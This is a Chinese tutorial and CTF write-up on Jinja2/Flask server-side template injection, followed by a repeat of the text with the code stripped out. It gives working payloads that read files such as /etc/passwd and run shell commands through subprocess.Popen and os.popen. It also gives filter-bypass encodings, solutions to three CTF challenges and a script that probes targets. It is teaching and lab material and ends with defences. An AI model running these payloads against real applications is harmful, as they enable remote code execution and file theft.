SSTI之细说jinja2的常用构造及利用思路
字数 1513 2025-08-11 08:36:16

Jinja2 SSTI 注入深度解析与利用指南

一、模板引擎与SSTI基础

1.1 模板引擎概念

模板引擎是为了实现用户界面与业务数据分离而产生的技术,可以生成特定格式的文档(如HTML)。它不属于特定技术领域,而是跨平台的概念,在Python、PHP、Java等语言中都有实现。

1.2 SSTI注入原理

服务端模板注入(SSTI)是由于框架不规范使用导致的漏洞,主要发生在:

  • Python框架:Jinja2、Mako、Tornado、Django、Flask
  • PHP框架:Smarty、Twig、ThinkPHP
  • Java框架:Jade、Velocity、Spring

漏洞成因:当用户输入未经合理处理直接插入程序段中,改变了程序执行逻辑。

二、Jinja2模板语法基础

2.1 基本语法结构

  • {% ... %}:用于声明(控制语句)
  • {{ ... }}:用于打印表达式到模板输出
  • {# ... #}:模板注释
  • # ... ##:行语句(简化语法)

2.2 漏洞示例代码

from flask import Flask, render_template_string

app = Flask(__name__)

@app.route('/ssti')
def ssti():
    template = '<h1>This is ssti! %s</h1>' % request.args["x"]
    return render_template_string(template)

三、常用方法与属性

3.1 核心魔术方法

  • __class__:实例对象的类
  • __base__:类型对象的直接基类
  • __bases__:类型对象的全部基类(元组形式)
  • __mro__:查看继承关系和调用顺序
  • __subclasses__():返回类的子类集合
  • __init__:类初始化方法
  • __globals__:获取函数所处空间的全局变量
  • __dict__:类的静态函数、类函数等属性集合
  • __getattribute__():获取实例、类、函数属性
  • __builtins__:内建名称空间(含内建函数)

3.2 Flask特有方法

  • url_for:获取__builtins__
  • get_flashed_messages:获取__builtins__
  • lipsum:可获取os模块
  • current_app:应用上下文全局变量
  • config:当前应用的所有配置
  • request:获取请求信息

四、无过滤情况下的利用

4.1 基本利用链

对象 → 类 → 基本类 → 子类 → (__init__方法 → __globals__属性 → __builtins__属性) → 读取文件的类

4.2 常用Payload示例

# 读文件
{{ [].__class__.__base__.__subclasses__()[257]('flag').read() }}  # Python3

# 命令执行
{{ ''.__class__.__mro__[2].__subclasses__()[258]('cat /flag',shell=True,stdout=-1).communicate()[0].strip() }}

# 获取os模块
{{ lipsum.__globals__['os'].popen('ls').read() }}

# 通过config获取
{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}

五、绕过过滤技术

5.1 基础绕过技术

1. 点号(.)绕过

  • 使用中括号[]
    {{ ""["__class__"] }}
    
  • 使用attr()过滤器:
    {{ ""|attr("__class__") }}
    

2. 单双引号绕过

  • 使用request对象:
    {{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd
    
  • 使用拼接:
    {{ "fl""ag" }} 或 {{ 'fl''ag' }}
    

3. 关键字绕过

  • 反转字符串:
    {{ ""["__ssalc__"][::-1] }}
    
  • 使用join拼接:
    {{ (("_","_","class","_","_")|join) }}
    
  • ASCII转换:
    {{ "{0:c}{1:c}{2:c}".format(95,95,99) }}  # 输出"__c"
    

5.2 高级绕过技术

1. 绕过中括号[]

  • 使用__getitem__
    {{ "".__class__.__mro__.__getitem__(2) }}
    
  • 使用pop()
    {{ "".__class__.__mro__.__getitem__(5).__subclasses__().pop(48)('/flag').read() }}
    

2. 绕过{{}}

  • 使用{%%}控制语句:
    {% if ''.__class__ %}1{% endif %}
    
  • 使用print标记:
    {% print(''.__class__) %}
    

3. 绕过下划线_

  • 使用request传递:
    {{ ()[request.args.class][request.args.bases][0][request.args.subclasses]()[40]('/flag').read() }}&class=__class__&bases=__bases__&subclasses=__subclasses__
    

4. 绕过数字

  • 使用全角数字:
    {{ "".__class__.__mro__.__getitem__() }}  # 注意使用的是全角数字
    

六、实战案例分析

6.1 [CSCCTF 2019 Qual]FlaskLight

无过滤SSTI,直接利用:

?search={{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()

6.2 [GYCTF2020]FlaskApp

过滤了os、flag等关键字,使用拼接绕过:

{{ config.__class__.__init__.__globals__['__buil'+'tins__']['__impor'+'t__']('o'+'s').__dict__['pop'+'en']('cat /this_is_the_fl'+'ag').read() }}

6.3 [Dest0g3 520迎新赛]EasySSTI

过滤了_.'"[]等字符,使用复杂绕过:

{%set%0apo=dict(po=a,p=a)|join%}  # pop
{%set%0aa=(()|select|string|list)|attr(po)(24)%}  # _
{%set%0aglo=(a,a,dict(glo=aa,bals=aa)|join,a,a)|join()%}  # globals
{%set%0ageti=(a,a,dict(ge=aa,titem=aa)|join,a,a)|join()%}  # getitem
{%set%0ape=dict(po=aaa,pen=aaa)|join%}  # popen
{%set%0are=dict(rea=aaaaa,d=aaaaa)|join%}  # read
{{(()|attr(glo)|attr(geti))('os')|attr(pe)('cat /flag')|attr(re)()}}

七、自动化脚本

7.1 查找可利用子类的脚本

import requests
import re

index = 0
for i in range(0, 500):
    try:
        url = f"http://target/?search={{''.__class__.__bases__[0].__subclasses__()[{i}]}}"
        r = requests.get(url)
        if 'subprocess.Popen' in r.text:
            index = i
            break
    except:
        continue
print(f"Index of subprocess.Popen: {index}")

7.2 字符转换脚本

# 将字符串转换为chr()拼接形式
def str_to_chr(s):
    return '~'.join(f'chr({ord(c)})' for c in s)

# 将数字转换为全角
def half2full(half):
    full = ''
    for ch in half:
        if ord(ch) in range(33, 127):
            ch = chr(ord(ch) + 0xfee0)
        elif ord(ch) == 32:
            ch = chr(0x3000)
        full += ch
    return full

八、防御措施

  1. 避免直接渲染用户输入:不要使用render_template_string直接渲染用户输入
  2. 严格过滤:对用户输入进行严格的过滤和转义
  3. 使用沙箱:在沙箱环境中执行模板渲染
  4. 最小权限原则:以最小必要权限运行应用

通过深入理解这些技术点,安全研究人员可以更有效地发现和利用SSTI漏洞,同时开发人员也能更好地防御此类漏洞。

Jinja2 SSTI 注入深度解析与利用指南 一、模板引擎与SSTI基础 1.1 模板引擎概念 模板引擎是为了实现用户界面与业务数据分离而产生的技术,可以生成特定格式的文档(如HTML)。它不属于特定技术领域,而是跨平台的概念,在Python、PHP、Java等语言中都有实现。 1.2 SSTI注入原理 服务端模板注入(SSTI)是由于框架不规范使用导致的漏洞,主要发生在: Python框架:Jinja2、Mako、Tornado、Django、Flask PHP框架:Smarty、Twig、ThinkPHP Java框架:Jade、Velocity、Spring 漏洞成因:当用户输入未经合理处理直接插入程序段中,改变了程序执行逻辑。 二、Jinja2模板语法基础 2.1 基本语法结构 {% ... %} :用于声明(控制语句) {{ ... }} :用于打印表达式到模板输出 {# ... #} :模板注释 # ... ## :行语句(简化语法) 2.2 漏洞示例代码 三、常用方法与属性 3.1 核心魔术方法 __class__ :实例对象的类 __base__ :类型对象的直接基类 __bases__ :类型对象的全部基类(元组形式) __mro__ :查看继承关系和调用顺序 __subclasses__() :返回类的子类集合 __init__ :类初始化方法 __globals__ :获取函数所处空间的全局变量 __dict__ :类的静态函数、类函数等属性集合 __getattribute__() :获取实例、类、函数属性 __builtins__ :内建名称空间(含内建函数) 3.2 Flask特有方法 url_for :获取 __builtins__ get_flashed_messages :获取 __builtins__ lipsum :可获取os模块 current_app :应用上下文全局变量 config :当前应用的所有配置 request :获取请求信息 四、无过滤情况下的利用 4.1 基本利用链 4.2 常用Payload示例 五、绕过过滤技术 5.1 基础绕过技术 1. 点号(.)绕过 使用中括号 [] : 使用 attr() 过滤器: 2. 单双引号绕过 使用 request 对象: 使用拼接: 3. 关键字绕过 反转字符串: 使用 join 拼接: ASCII转换: 5.2 高级绕过技术 1. 绕过中括号 [] 使用 __getitem__ : 使用 pop() : 2. 绕过 {{}} 使用 {%%} 控制语句: 使用 print 标记: 3. 绕过下划线 _ 使用 request 传递: 4. 绕过数字 使用全角数字: 六、实战案例分析 6.1 [ CSCCTF 2019 Qual ]FlaskLight 无过滤SSTI,直接利用: 6.2 [ GYCTF2020 ]FlaskApp 过滤了os、flag等关键字,使用拼接绕过: 6.3 [ Dest0g3 520迎新赛 ]EasySSTI 过滤了 _.'"[] 等字符,使用复杂绕过: 七、自动化脚本 7.1 查找可利用子类的脚本 7.2 字符转换脚本 八、防御措施 避免直接渲染用户输入:不要使用 render_template_string 直接渲染用户输入 严格过滤:对用户输入进行严格的过滤和转义 使用沙箱:在沙箱环境中执行模板渲染 最小权限原则:以最小必要权限运行应用 通过深入理解这些技术点,安全研究人员可以更有效地发现和利用SSTI漏洞,同时开发人员也能更好地防御此类漏洞。